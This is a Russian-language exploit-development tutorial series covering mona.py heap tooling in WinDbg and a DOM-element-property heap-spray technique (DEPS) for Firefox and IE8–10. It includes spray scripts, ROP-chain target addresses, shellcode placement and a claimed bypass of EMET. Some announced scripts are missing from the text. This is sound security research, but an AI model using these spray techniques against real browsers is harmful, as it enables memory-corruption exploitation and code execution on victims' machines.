С этого момента Mona работает так же, как в Immunity Debugger. С помощью команды настройки Mona задайте рабочую папку.

Большой объём вывода может проявить проблему обновления интерфейса WinDbg. Надпись **BUSY** уже исчезает, но текст не отображается:

Прокрутите окно Command вверх и вниз, чтобы принудительно обновить его.

Обновление Mona и windbglib

Оба компонента можно обновить из WinDbg:

```
!py mona update
```

Исходный файл Mona одинаков для Immunity и WinDbg, но обновление затрагивает только копию, используемую текущим отладчиком. Хранить отдельные копии проще, поскольку в среде WinDbg `immlib` должна отсутствовать.

Что вы можете заметить

Некоторые операции стали быстрее, другие — медленнее. Сборка и дизассемблирование инструкций, а также операции WinDbg/PyKD со страницами памяти могут выполняться несколько медленнее. Mona v2 содержит оптимизированные процедуры и кэширование, уменьшающие этот эффект. Поиск по всему процессу — например, `!mona suggest`, `!mona find` без `-m` и `!mona findwild` без `-m` — в WinDbg всё же остаётся медленнее.

Функции `deferbp` и `calltrace` в WinDbg недоступны. Deferred breakpoints уже встроены в отладчик, а call tracing, возможно, вернётся позднее.

В Mona v2 добавлены следующие функции:

• `sehbp`: устанавливает breakpoints на все указатели функций SE handler.
• `pageacl`: отображает страницы памяти, уровни доступа, модули-владельцы и секции модулей.
• `fillchunk` (только WinDbg): заполняет выбранным символом heap chunk, на который указывает регистр. Например, если указатель на освобождённый heap chunk находится по адресу `ESP+4`, выполните `!py mona fillchunk -r [ESP+4]`, чтобы найти его и заполнить символами `A`, а затем проверить, использует ли приложение этот chunk повторно.

До полной совместимости windbglib с `immlib` предстоит ещё много работы: в частности, необходимо перенести heap class и реализовать `heap.getChunks()`. WinDbg уже умеет напрямую перечислять выделенные chunks, поэтому одним из решений может быть обёртка и разбор его вывода.

После завершения сеанса отладки полностью закройте WinDbg. Если остановить отладку и подключиться к другому процессу в том же экземпляре, скорее всего, возникнет ошибка расширения.

IDA Pro?

Похожую обёртку, вероятно, можно создать и для IDA Pro с использованием её API. У меня есть лицензия IDA Pro, но у значительной части сообщества её нет, поэтому первым приоритетом стал WinDbg. Если вы хотите помочь перенести логику в IDA, свяжитесь со мной.

Благодарности

Особая благодарность Fancy, Lincoln и Matt Molinyawe за тестирование библиотеки; Ange Albertini за документацию формата PE; Wir3Gh0st за видео о выпуске; разработчику PyKD за столь быстрое добавление необходимых функций; и `@dualcoremusic` за музыку.

Спасибо также команде Corelan, моей семье за предоставленное время и всему сообществу.

Счастливого Рождества и Нового года!

Взламывайте всё подряд!

Вопросы о Mona в Immunity Debugger или WinDbg можно обсудить в статье и теме форума о Mona.

Визуализация структуры кучи с помощью mona.py и WinDBG

corelanc0d3r, 2013-01-18

Время летит. Прошло почти три недели с тех пор, как я выпустил возможность запускать mona.py в WinDBG. С того момента я усердно работал над стабильностью и производительностью. После выхода pykd 0.2.0.14 и реализации всё большего числа методов immlib в windbglib ситуация начинает выглядеть весьма неплохо.

Сегодня я расскажу о двух функциях, доступных теперь в WinDBG: `heap` и `kb`.

Куча

Сначала договоримся о терминах. В этой статье **фрагмент (chunk)** — область памяти, управляемая диспетчером кучи. **Блок (block)** — единица размером восемь байт.

Я присоединил WinDBG к `calc.exe` в Windows XP SP3. Те же команды работают в Windows 7 как в нативных 32-разрядных процессах, так и под WOW64.

Сначала убедитесь, что pykd, windbglib и mona.py обновлены:

```
0:014> .load pykd.pyd
0:014> !py mona update
Hold on...
[+] Version compare :
    Current Version : '2.0', Current Revision : 322
    Latest Version : '2.0', Latest Revision : 322
[+] You are running the latest version
[+] Locating windbglib path
[+] Checking if C:\Program Files\Debugging Tools for Windows (x86)\windbglib.py needs an update...
[+] Version compare :
    Current Version : '1.0', Current Revision : 108
    Latest Version : '1.0', Latest Revision : 108
[+] You are running the latest version

[+] This mona.py action took 0:00:07.579000
```

Справка команды heap перечисляет доступные операции:

```
Usage of command 'heap' :
-------------------------
Show information about various heap chunk lists
Mandatory arguments :
    -h <address> : base address of the heap to query
    -t <type> : where type is 'lal' (lookasidelist), 'freelist', 'segments', 'chunks', 'layout' or 'all'
    'lal' and 'freelist' only work on XP/2003
    'layout' will show all heap chunks and their vtables & strings. Use on WinDBG for maximum results.
Optional arguments :
    -stat : show statistics (also works in combination with -h heap, -t segments or -t chunks
    -size <nr> : only show strings of at least the specified size. Works in combination with 'layout'
    -after <data> : only show current & next chunk layout entries when an entry contains this data
                    (Only works in combination with 'layout')
    -v : show data / write verbose info to the Log window
```

Параметры `lal`, `freelist` и `all` несколько устарели. Нас интересуют `segments`, `chunks` и `layout`.

Запуск `heap` без аргументов выводит кучи процесса:

```
0:001> !py mona heap
Hold on...
```

```
Heaps:
------
0x000a0000 (1 segment(s) : 0x000a0640) * Default process heap
0x001a0000 (1 segment(s) : 0x001a0640)
0x001b0000 (1 segment(s) : 0x001b0640)
0x003c0000 (1 segment(s) : 0x003c0640)
0x003d0000 (1 segment(s) : 0x003d0640)
0x003f0000 (1 segment(s) : 0x003f0640)
0x00370000 (1 segment(s) : 0x00370640)

Please specify a valid searchtype -t
Valid values are :
   lal
   freelist
   all
   segments
   chunks
   layout

[+] This mona.py action took 0:00:00.190000
```

Сегменты

Используйте `-t segments`, чтобы вывести сегменты кучи:

```
0:001> !py mona heap -h 000a0000 -t segments
Hold on...
Heaps:
------
0x000a0000 (1 segment(s) : 0x000a0640) * Default process heap
0x001a0000 (1 segment(s) : 0x001a0640)
0x001b0000 (1 segment(s) : 0x001b0640)
0x003c0000 (1 segment(s) : 0x003c0640)
0x003d0000 (1 segment(s) : 0x003d0640)
0x003f0000 (1 segment(s) : 0x003f0640)
0x00370000 (1 segment(s) : 0x00370640)

[+] Processing heap 0x000a0000
Segment List for heap 0x655360:
--------------------------------
Heap : 0x000a0000 : Segment 0x000a0640 - 0x001a0000 (FirstEntry: 0x000a0680 - LastValidEntry: 0x001a0000)

[+] This mona.py action took 0:00:00.327000
```

Если опустить `-h`, Mona покажет сегменты всех куч. Для стандартной кучи процесса также можно указать `-h default`.

Фрагменты

Операция `chunks` выводит все фрагменты кучи и записывает результат в `heapchunks.txt`:

```
0:001> !py mona heap -h 000a0000 -t chunks
Hold on...
Heaps:
------
0x000a0000 (1 segment(s) : 0x000a0640) * Default process heap
0x001a0000 (1 segment(s) : 0x001a0640)
0x001b0000 (1 segment(s) : 0x001b0640)
0x003c0000 (1 segment(s) : 0x003c0640)
0x003d0000 (1 segment(s) : 0x003d0640)
0x003f0000 (1 segment(s) : 0x003f0640)
0x00370000 (1 segment(s) : 0x00370640)
[+] Preparing output file 'heapchunks.txt'
    - (Re)setting logfile heapchunks.txt
[+] Generating module info table, hang on...
```

```
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Processing heap 0x000a0000
Segment List for heap 0x655360:
---------------------------------
Heap : 0x000a0000 : Segment 0x000a0640 - 0x001a0000 (FirstEntry: 0x000a0680 - LastValidEntry: 0x001a0000)
    Nr of chunks : 584
    _HEAP_ENTRY  psize   size  unused  UserPtr   UserSize
       000a0680  00008  01808   00008  000a0688  00001800 (6144) (Busy)
       000a1e88  00301  00210   00008  000a1e90  00000208 (520) (Busy)
       000a2098  00042  00228   0000e  000a20a0  0000021a (538) (Busy)
       000a22c0  00045  00030   0000e  000a22c8  00000022 (34) (Busy)
<...>
       000b4110  00025  00040   00008  000b4118  00000038 (56) (Busy)
       000b4150  00008  00128   00008  000b4158  00000120 (288) (Busy)
       000b4278  00025  03d88   00008  000b4280  00003d80 (15744) (Last)
       0x000b8000 - 0x001a0000 (end of segment) : uncommitted

[+] This mona.py action took 0:00:03.027000
```

Без `-h` обрабатываются все кучи. Сведения похожи на вывод команды WinDBG `!heap -h`.

Добавьте `-stat` для статистики:

```
0:001> !py mona heap -h 000a0000 -t chunks -stat
Hold on...
Heaps:
------
0x000a0000 (1 segment(s) : 0x000a0640) * Default process heap
0x001a0000 (1 segment(s) : 0x001a0640)
0x001b0000 (1 segment(s) : 0x001b0640)
0x003c0000 (1 segment(s) : 0x003c0640)
0x003d0000 (1 segment(s) : 0x003d0640)
0x003f0000 (1 segment(s) : 0x003f0640)
0x00370000 (1 segment(s) : 0x00370640)
[+] Preparing output file 'heapchunks.txt'

Segment Statistics:
    Size : 0x3d80 (15744) : 1 chunks (0.17 %)
    Size : 0x1800 (6144) : 1 chunks (0.17 %)
    Size : 0x1258 (4696) : 1 chunks (0.17 %)
    Size : 0x928 (2344) : 2 chunks (0.34 %)
    Size : 0x888 (2184) : 1 chunks (0.17 %)
    Size : 0x7ac (1964) : 1 chunks (0.17 %)
    Size : 0x586 (1414) : 1 chunks (0.17 %)
    Size : 0x4e4 (1252) : 1 chunks (0.17 %)
    Size : 0x4b0 (1200) : 1 chunks (0.17 %)
    Size : 0x494 (1172) : 1 chunks (0.17 %)
    Size : 0x480 (1152) : 1 chunks (0.17 %)
    Size : 0x400 (1024) : 1 chunks (0.17 %)
    Size : 0x314 (788) : 2 chunks (0.34 %)
    Size : 0x30e (782) : 1 chunks (0.17 %)
    Size : 0x308 (776) : 1 chunks (0.17 %)
    Size : 0x2fa (762) : 1 chunks (0.17 %)
    Size : 0x2f8 (760) : 1 chunks (0.17 %)
<...>
Total chunks : 584

[+] This mona.py action took 0:00:01.562000
```

Структура кучи

Операция `layout` обходит все кучи, сегменты и фрагменты. Она пытается обнаружить ASCII-строки, Unicode-строки, объекты BSTR и vtable. В Immunity Debugger поиск vtable недоступен. Результаты записываются в `heaplayout.txt`.

Полезные параметры:

• -v записывает подробные сведения в журнал.
• -fast пропускает определение размеров объектов.
• -size <nr> исключает строки меньше заданного размера.
• -after <value> игнорирует записи до совпадающей строки или vtable, а затем выводит её и оставшиеся записи текущего фрагмента.

Полную структуру можно создать командой:

```
!py mona heap -t layout -v
```

Часть вывода:

```
----- Heap 0x003d0000, Segment 0x003d0640 - 0x003e0000 (1/1) -----
chunk 0x003d0680 (Usersize 0x1800, chunksize 0x1808) : Busy
chunk 0x003d1e88 (Usersize 0x88, chunksize 0x90) : Busy
chunk 0x003d1f18 (Usersize 0x88, chunksize 0x90) : Busy
chunk 0x003d1fa8 (Usersize 0x3df, chunksize 0x448) : Free
  +003f @ 003d1fe7->003d200b : String (Data : 0x23/35 bytes, 0x23/35 chars) : ComSpec=C:\WINDOWS\system32\cmd.exe
  +0021 @ 003d202c->003d2053 : String (Data : 0x26/38 bytes, 0x26/38 chars) : HOMEPATH=\Documents and Settings\peter
  +003c @ 003d208f->003d21bd : String (Data : 0x12d/301 bytes, 0x12d/301 chars) : Path=C:\Perl\site\bin;C:\Perl\bin;C:\
        @ 003d2168           : Object : 74726f54 MSCTF!CLBarItemSinkProxy::`vftable'+0x8
  +0055 @ 003d21bd->003d21f6 : String (Data : 0x38/56 bytes, 0x38/56 chars) : PATHEXT=...
  +001b @ 003d2211           : String : PROCESSOR_IDENTIFIER=...
  +0081 @ 003d22a0           : String : TEMP=...
  +0000 @ 003d22c0           : String : TMP=...
  +0023 @ 003d2300           : String : USERPROFILE=...
  +0000 @ 003d2340           : String : VS100COMNTOOLS=...
```

В первых трёх фрагментах нет распознанных строк или vtable, а в четвёртом они есть. Для каждого объекта вывод содержит:

• Смещение от предыдущей записи, а для первой — от начала фрагмента.
• Начальный и конечный адреса.
• Тип и размер в байтах и символах.
• Сами данные.

Для vtable Mona также пытается определить размер соответствующего объекта. Если это не удаётся, полезную оценку даёт смещение до следующей записи. Значение вроде +0008 или +000c может означать, что размер объекта следует уменьшить на 8 или 12 байт. Достаточно близкие указатели функций группируются как одна возможная vtable.

Распыление кучи

Рассмотрим простое распыление:

```
<html><head>
<script>
var largechunk = "AAAA";
var spray = new Array();
function dospray()
{
    while (largechunk.length < 0x10000) largechunk += largechunk;
    for (var i = 0; i < 0x200; i++)
    {
        spray[i] = largechunk.substring(0,(0x800-6)/2);
    }
    alert("Spray done ?");
}
</script>
</head>
<body onload="dospray();" />
</html>
```

После завершения распыления присоедините WinDBG к Internet Explorer 8 в Windows XP SP3. Мы знаем, что распыление состоит из объектов BSTR, заполненных символами A, каждый примерно по `0x800` байт. Выполните:

```
!py mona heap -t layout -size 0x300
```

Первый запуск может занять около четырёх минут, поскольку Mona пытается определить размеры объектов. Последующие займут 20–30 секунд благодаря кэшу обнаруженных данных.

```
chunk 0x02dc9840 (Usersize 0x1ff8, chunksize 0x2000) : Busy
  +01f8 @ 02dc9a38           : Object : 774ec300 ole32!CComApartment::`vftable'
  +01d8 @ 02dc9c10->02dc9c38 : Object (0x28 bytes): 3cf70002 mshtml!CMetaElement::`vftable'+0x16a
```

Одна из записей BSTR выглядит так:

```
+2040 @ 02da2080->02da2880 : BSTR 0x800/2048 bytes (Data : 0x7fa/2042 bytes, 0x3fd/1021 chars)
```

Объект BSTR имеет ровно `0x800` байт с учётом четырёхбайтового заголовка и двухбайтового терминатора. Для данных остаётся `0x7fa` байт. Поскольку символ BSTR занимает два байта, строка содержит `0x3fd` ненулевых символов.

Смещение между строками на снимке равно восьми байтам, значит фрагменты распыления соседствуют. Вывод также показывает, что объекты BSTR находятся внутри более крупных фрагментов кучи. Поэтому статистика WinDBG не показывает множество фрагментов размером `0x800`:

```
0:016> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #chunks     total     ( %) (percent of total busy bytes)
    fff8 18 - 17ff40  (41.05)
    3fff8 3 - bffe8  (20.53)
    3ff8 11 - 43f78  (7.27)
    1ff8 1e - 3bf10  (6.41)
    20fc1 1 - 20fc1  (3.53)
    1fff8 1 - 1fff8  (3.42)
    7ff8 3 - 17fe8  (2.57)
    13fc1 1 - 13fc1  (2.14)
    8fc1 2 - 11f82  (1.92)
    b2e0 1 - b2e0  (1.20)
    ff8 b - afa8  (1.17)
    7f8 15 - a758  (1.12)
    57f0 1 - 57f0  (0.59)
    4ffc 1 - 4ffc  (0.53)
    4fc1 1 - 4fc1  (0.53)
    5e4 b - 40cc  (0.43)
    3980 1 - 3980  (0.38)
    20 1c7 - 38e0  (0.38)
    3f8 a - 27b0  (0.27)
    1e04 1 - 1e04  (0.20)
```

Точная структура кучи

Пойдём дальше. Представьте, что нужно создать в IE9 на Windows 7 определённую структуру кучи с повторяющимися последовательностями объекта кнопки (`CButtonLayout`) и строки. Можно ограничить вывод Mona фрагментами с vtable `CButtonLayout` и всем, что идёт после неё в том же фрагменте:

```
!py mona heap -t layout -after CButtonLayout
```

Как только Mona найдёт строку или vtable со значением из `-after`, она выводит сведения с этой позиции до конца текущего фрагмента. Сравнение чувствительно к регистру.

Откройте `heaplayout.txt` и найдите строку. Теперь журнал ограничен фрагментами с vftable `CButtonLayout`.

Mona не смогла определить точный размер объекта `CButtonLayout`, поскольку не нашла процедуру создания `CreateElement` в `mshtml.dll`. Небольшая обратная разработка показывает, что размер равен `0x100` байт. Добавьте значение в базу знаний:

```
!py mona kb -set -id vtableCache -value MSHTML!CButtonLayout,0x100
!py mona kb -set -id vtableCache -value mshtml!CButtonLayout,0x100
```

Снова выполните `!py mona heap -t layout -after CButtonLayout`:

Гораздо лучше. Mona будет помнить значение, пока оно хранится в базе знаний. База сохраняется после закрытия WinDBG, поэтому значение фактически постоянно. Обновления ОС могут изменить размеры объектов; тогда может потребоваться удалить файл базы и позволить Mona создать его заново.

База знаний

Первый запуск `mona heap -t layout` занимает несколько минут, а последующие работают значительно быстрее даже после перезапуска WinDBG.

Во время выполнения Mona пытается определить размеры объектов и сохраняет их в словаре `vtableCache`. Он хранится в базе знаний — файле `windbglib.db` с сериализованными объектами Python в формате pickle. При последующих запусках Mona читает файл и восстанавливает внутренний кэш.

Команда `kb` управляет базой через функции `list`, `set` и `del`. Выведите доступные идентификаторы:

```
0:015> !py mona kb -list
Hold on...

Number of IDs in Knowledgebase : 1
IDs :
-----
vtableCache

[+] This mona.py action took 0:00:00
```

Добавьте `-id`, чтобы вывести содержимое конкретного объекта Python:

```
0:015> !py mona kb -list -id vtableCache
Hold on...

Number of IDs in Knowledgebase : 1
Entries for ID vtableCache (type dict) :
----------------------------------------
  IEFRAME!CFrameLayer : 0 (0x0)
  DWrite!pz::Rule::GenericExpression<pz::Expression<...>> : 0 (0x0)
  MSHTML!QuirkTokenizer : 0 (0x0)
  MSHTML!ATL::CComObject<CHTMLEditorProxy> : 0 (0x0)
  windowscodecs!CDemandBitmapCache<IWICBitmapSource> : 0 (0x0)
  d3d10!D3D10Statechunk::TShaderInput<...> : 0 (0x0)
  IEFRAME!CMenuBandMetrics : 0 (0x0)
  IEFRAME!CIEFrameAuto::COmHistory : 0 (0x0)
  DWrite!ClientAlpcConnection : 0 (0x0)
  MSHTML!CCurrentStyle : 0 (0x0)
  msimtf!CClassFactory : 0 (0x0)
  MSHTML!CInsertParagraphCommand : 0 (0x0)
  MSHTML!CDoc : 0 (0x0)
  MSHTML!CProgSink : 0 (0x0)
  MSHTML!CIE50PasteModeCommand : 0 (0x0)
```

```
  propsys!CGlobalMappingData : 0 (0x0)
  ieapfltr!GenericDeletableCollection<FormDetails> : 0 (0x0)
  MSHTML!CForeColorCommand : 0 (0x0)
  MSHTML!CBaseROStmOnBuffer : 0 (0x0)
  MSHTML!CBaseXSLTFilter : 0 (0x0)
  d2d1!CHwRadialGradientBrush : 0 (0x0)
  MSHTML!CDataCache<CBoxShadow> : 0 (0x0)
<...>
  MSCTF!CEditRecord : 0 (0x0)
  DWrite!InnerComObject<DWriteFactory,DWriteGdiInterop> : 0 (0x0)

Number of entries for ID vtableCache : 605

[+] This mona.py action took 0:00:00.219000
```

Фильтруйте записи через `-value`:

```
0:015> !py mona kb -list -id vtableCache -value CButton
Hold on...

Number of IDs in Knowledgebase : 1
Entries for ID vtableCache (type dict) :
----------------------------------------
  (Filter : CButton)
  MSHTML!CButton : 0 (0x0)
  MSHTML!CButtonLayout : 256 (0x100)
  mshtml!CButtonLayout : 256 (0x100)

Number of filtered entries for ID vtableCache : 3

[+] This mona.py action took 0:00:00.016000
```

Удалите запись через `del`:

```
0:015> !py mona kb -del -id vtableCache -value mshtml!CButtonLayout
Hold on...

*** Object mshtml!CButtonLayout in ID vtableCache removed from Knowledgebase

[+] This mona.py action took 0:00:00.032000

0:015> !py mona kb -list -id vtableCache -value CButton
Hold on...

Number of IDs in Knowledgebase : 1
Entries for ID vtableCache (type dict) :
----------------------------------------
  (Filter : CButton)
  MSHTML!CButton : 0 (0x0)
  MSHTML!CButtonLayout : 256 (0x100)

Number of filtered entries for ID vtableCache : 2

[+] This mona.py action took 0:00:00
```

Если опустить `-value`, удаляется весь объект идентификатора. Это не критично: Mona создаст его заново, но ручные изменения потеряются. Не редактируйте `windbglib.db` напрямую. Если файл повреждён, удалите его и позвольте Mona создать новый.

Другие вопросы о Mona рассматриваются в статье и обсуждении mona.py.

Хороших выходных!

-peter

DEPS — точное распыление кучи в Firefox и IE10

corelanc0d3r, 2013-02-19

Введение

На прошлой неделе во время очередной двухнедельной проверки и обновления учебных материалов я обнаружил, что мой сценарий распыления кучи для Firefox 9 больше не работает в современных версиях. Если вспомнить уловки, необходимые для точного распыления в Firefox 9 и IE 9, и учесть, что в Firefox и IE 10 они, похоже, не дают полезного эффекта, можно утверждать: классические выделения строк BSTR больше нельзя считать надёжным способом точного распыления кучи — да и распыления вообще.

Кроме того, распыление кучи в Firefox 9 было не только некрасивым, но и довольно медленным, что может помешать надёжной эксплуатации. Если пользователь успеет завершить процесс браузера до окончания распыления и срабатывания ошибки, командную оболочку вы не получите.

Разумеется, это не означает, что точное распыление кучи в современных браузерах невозможно. Федерико Муттис и Анибал Сакко из Core Security недавно опубликовали результаты исследования распыления HTML5, которое отлично использует новые технологии для выделения памяти в современных браузерах. Преимущество техники в том, что HTML5 не ограничен IE или Firefox и работает также в браузерах на WebKit, включая Google Chrome и Safari. Федерико и Анибал любезно предоставили мне исходный код генератора процедур распыления на основе HTML5. Сценарий можно скачать с архивной страницы файлов Corelan heapspray (`HTML5Spray.zip`). Но я решил не использовать HTML5 и попробовать другой подход.

Хорошо известно, что использование строк BSTR для замены освобождённого объекта при Use-After-Free в браузере может быть проблематичным. Обычно в начале объекта ожидается указатель vtable, но именно туда после замены объекта строкой BSTR попадёт поле заголовка BSTR. Иными словами, заменить объект, возможно, удастся, однако подделать указатель vtable контролируемым значением — нет.

Распространённый способ обойти проблему основан на элементах DOM. Нужно создать один или несколько элементов DOM — изображение, div и так далее — и задать свойство с полезной нагрузкой, которую требуется записать в освобождённый объект. Для изображений таким свойством может быть `.src` или `.title`, а для объектов div хорошим вариантом может стать `.className`.

Поскольку этот метод позволяет создавать точные выделения — разумеется, с учётом завершающего нулевого байта, — я захотел проверить, можно ли использовать его для полноценного распыления кучи. После экспериментов с размерами мне удалось написать сценарий, работающий в Firefox и всех версиях Internet Explorer. Он значительно быстрее моих старых сценариев для FF9 и IE9, а более высокая область памяти позволяет также обойти стандартную защиту EMET от распыления кучи.

Техника

Идея состоит в создании большого числа элементов DOM и присвоении определённого значения свойству элемента. Я проверял концепцию на кнопках, но не вижу причин ограничиваться только ими. Можно даже смешивать разные элементы и при необходимости варьировать размер. Поэтому я назвал технику DOM Element Property Spray. Поскольку в индустрии информационной безопасности явно любят запутанные четырёхбуквенные сокращения, получилось DEPS. Если ваше любимое средство защиты заявит, что предотвращает DEPS, вы будете знать, о чём речь. Или нет.

Использование элементов DOM для точных выделений не ново, но распыления кучи на этой основе я раньше не видел. Вкратце DEPS состоит из четырёх шагов:

1. Поместить элемент div на страницу.
2. Создать множество кнопок.
3. Задать свойство `title` полезной нагрузкой и с помощью `substring()` обеспечить требуемую длину.
4. Добавить кнопку в div.

Сценарий

Базовый сценарий выглядит так:

Копию использованных в статье сценариев можно получить на архивной странице файлов Corelan heapspray (`deps_corelan_ff_ie_spray.zip`). Пароль архива — `infected`.

Сценарий больше не пытается расположить начало ROP-цепочки по адресу `0x0c0c0c0c`. Поскольку код уже нельзя выполнять напрямую без предварительного отключения DEP, а `0c0c0c0c` использовать одновременно как цель разыменования vtable и NOP, адрес `0x0c0c0c0c` почти утратил прежнюю ценность. Кроме того, целевой адрес вовсе не обязан состоять из четырёх одинаковых байтов. Выделения должны быть выровнены по четырём байтам, поэтому попадание в нужную точку каждый раз не должно вызывать проблем.

Элемент div в документе служит контейнером: `div_container.appendChild()` сохраняет элементы и их свойство `title` в памяти. Из-за размера выделений все фрагменты входят в список VirtualAllocdBlocks стандартной кучи.

Текущая версия сценария нацеливается на `0x20202210` или `0x20302210` в Firefox — в зависимости от числа итераций; `0x20302210` пока показывал высокую надёжность — и на `0x20202228` либо `0x20302228` в IE8/9/10 на XP, Win7 и Win8. Это интересно, поскольку для точного распыления больше не нужно различать версии IE. В моих тестах `0x20302228` оказался надёжнее `0x20202228`.

Разумеется, значение смещения в сценарии легко изменить и перенести фактическое начало ROP-цепочки на другой адрес. Полезный побочный эффект более высокого диапазона памяти состоит в том, что адреса в нём состоят из печатных ASCII-символов. Это может дать дополнительные преимущества при старомодном переполнении стека с жёсткими ограничениями символов.

Если требуется другое свойство элемента, можно поэкспериментировать с `obj.style.fontFamily`. Более того, можно одновременно задавать два разных свойства, уменьшая число итераций, необходимых для достижения предсказуемого адреса:

Наконец, сейчас техника не требует рандомизации данных или некрасивых уловок с именами переменных и `eval()`, что также помогает сравнительно быстро доставить распыление.

Тестовая среда

Во всех случаях использовалась последняя 32-разрядная версия конкретного браузера на полностью обновлённой ОС. Тесты выполнялись на виртуальных машинах VirtualBox и VMware и на физических компьютерах; работа подтверждалась после перезагрузки.

Все тесты Windows 7 проводились с включённой EMET 3.5, настроенной на обнаружение и предотвращение распыления кучи:

В Windows 8 проверялась стандартная установка IE10.

Результаты

Firefox 18 в Windows 7

(Работает и в OS X.)

IE8 в Windows XP

IE9 в Windows 7

IE10 в Windows 8

Во всех случаях структура фрагмента кучи со строкой `AAAABBBBCCCCDDDD...`, которая просто обозначает расположение ROP-цепочки, выглядит так:

• Заголовок фрагмента VirtualAlloc (`0x20` байт).
• Мусорные данные — пробелы.
• ROP-цепочка (`AAAABBBBCCCCDDDD...`).
• Шелл-код (`\xcc\xcc\xcc\xcc...`).
• Мусорные данные — пробелы.

Анализ распыления

Что именно происходит при запуске базовой версии распыления DEPS? Выполним трассировку и журналирование в Windows XP SP3 с IE8.

Сначала изменим основную процедуру и вставим вызовы `Math.atan2()` для взаимодействия с WinDbg из JavaScript:

```
for (var i = 0; i < 0x500; i++)
{
    Math.atan2(0xbabe, "[*] Creating object button....");
```

```
    var obj = document.createElement("button");

    Math.atan2(0xbabe, "[*] Assigning data to title.");
    obj.title = data.substring(0,0x40000-0x58); // aligned spray

    Math.atan2(0xbabe, "[*] Let's AppendChild");
    div_container.appendChild(obj);
}
```

Следующая точка останова WinDbg выводит сообщения `Math.atan2()`:

```
bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
```

Затем установите точку останова для наблюдения за созданием кнопки:

```
bp mshtml!CButton::CreateElement+16 ".printf \"Object at %08x\",eax; .echo;"
```

При запуске HTML-страницы WinDbg должен вывести сообщение `Creating object button` и остановиться в функции `CreateElement`:

```
[*] Creating object button....
Object at 00214dc0
eax=00214dc0 ebx=6363c470 ecx=7c9101bb edx=00000058 esi=032114f0 edi=020bf190
eip=639944f7 esp=020bf130 ebp=020bf134 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CButton::CreateElement+0x16:
639944f7 8bf0            mov     esi,eax
```

Установите точку останова на `RtlAllocateHeap`, чтобы регистрировать все последующие выделения и выводить стек вызовов. Так мы получим сведения обо всех выделениях до создания следующей кнопки.

```
bp ntdll!RtlAllocateHeap+117 ".printf \"Allocate at %08x\", eax; .echo; k; .echo; g"
```

Продолжите выполнение процесса с установленной точкой. Теперь вы получите сведения обо всех выделениях одной итерации.

Одна итерация создаёт следующие выделения:

```
Allocate at 0293d588
Allocate at 0293ea00
Allocate at 02866780
Allocate at 039b0020  <--- First interesting allocation
Allocate at 0293eb68
Allocate at 03b50020  <--- Second interesting allocation
Allocate at 02917718
Allocate at 001eff28
Allocate at 001effd8
Allocate at 00217d18
Allocate at 0293d568
Allocate at 002150c0
```

Первое интересное выделение происходит сразу после отладочного сообщения `Assigning data to title.`. Его стек вызовов:

```
Allocate at 039b0020
ChildEBP RetAddr
020bf330 77124b32 ntdll!RtlAllocateHeap+0xeac
020bf344 77124c5f OLEAUT32!APP_DATA::AllocCachedMem+0x4f
020bf354 633a8242 OLEAUT32!SysAllocStringByteLen+0x2e
020bf368 6338f693 jscript!PvarAllocBstrByteLen+0x6c
020bf3d4 63390403 jscript!JsStrSubstrCore+0x1d8
020bf3f4 633a8561 jscript!JsStrSubstring+0x20
020bf45c 633a7127 jscript!NatFncObj::Call+0x103
020bf4e0 633a6650 jscript!NameTbl::InvokeInternal+0x2a2
020bf514 6339f39f jscript!VAR::InvokeByDispID+0x17c
020bf554 633a67c9 jscript!VAR::InvokeJSObj<SYM *>+0xb8
020bf590 633a77ff jscript!VAR::InvokeByName+0x170
020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
020bf60c 633a83a9 jscript!VAR::InvokeByDispID+0xce
```

```
020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x28ab
020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f
020bf958 633891f1 jscript!CSession::Execute+0x175
020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0
020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a
020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30
```

Поскольку первое выделение использует `jscript!JsStrSubstring`, можно предположить, что его вызывает следующий код JScript из распыления:

```
data.substring(0,0x40000-0x58);
```

Второе выделение происходит непосредственно перед отладочным сообщением `Let's AppendChild`. Его стек вызовов:

```
Allocate at 03b50020
ChildEBP RetAddr
020bf16c 63651871 ntdll!RtlAllocateHeap+0xeac
020bf190 6364130b mshtml!CAttrValue::InitVariant+0x154
020bf1c8 63641259 mshtml!CAttrArray::Set+0x174
020bf1f0 636518d7 mshtml!CAttrArray::Set+0x51
020bf224 63651849 mshtml!CAttrArray::SetString+0x44
020bf23c 6366913f mshtml!BASICPROPPARAMS::SetString+0x69
020bf2a4 63610e83 mshtml!BASICPROPPARAMS::SetStringProperty+0x200
020bf2cc 63610eb8 mshtml!CBase::put_StringHelper+0x64
020bf2e8 6366906f mshtml!CBase::put_String+0x29
020bf318 636430c9 mshtml!GS_BSTR+0x1ab
020bf38c 6366418a mshtml!CBase::ContextInvokeEx+0x5d1
020bf3dc 6362b6ce mshtml!CElement::ContextInvokeEx+0x9d
020bf408 63642eec mshtml!CInput::VersionedInvokeEx+0x2d
020bf458 633a6d37 mshtml!PlainInvokeEx+0xea
020bf498 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
020bf4d4 633a9cfe jscript!IDispatchExInvokeEx+0x6a
020bf594 633a9f3c jscript!InvokeDispatchEx+0x98
020bf5c8 633a77ff jscript!VAR::InvokeByName+0x135
020bf614 633a75bf jscript!VAR::InvokeDispName+0x7a
020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x1f27
```

Поскольку это выделение использует `SetString`, можно предположить, что именно оно фактически присваивает данные свойству.

Сочетание `substring`, свойства элемента DOM и добавления элемента в ранее созданный в HTML-документе div обеспечивает создание копий данных и выделение для них памяти. Строка, созданная `substring`, со временем исчезнет, но данные, выделенные `SetString()`, останутся в памяти.

(Благодарю sinn3r за анализ распыления в WinDbg.)

Обновление от 6 марта 2013 года

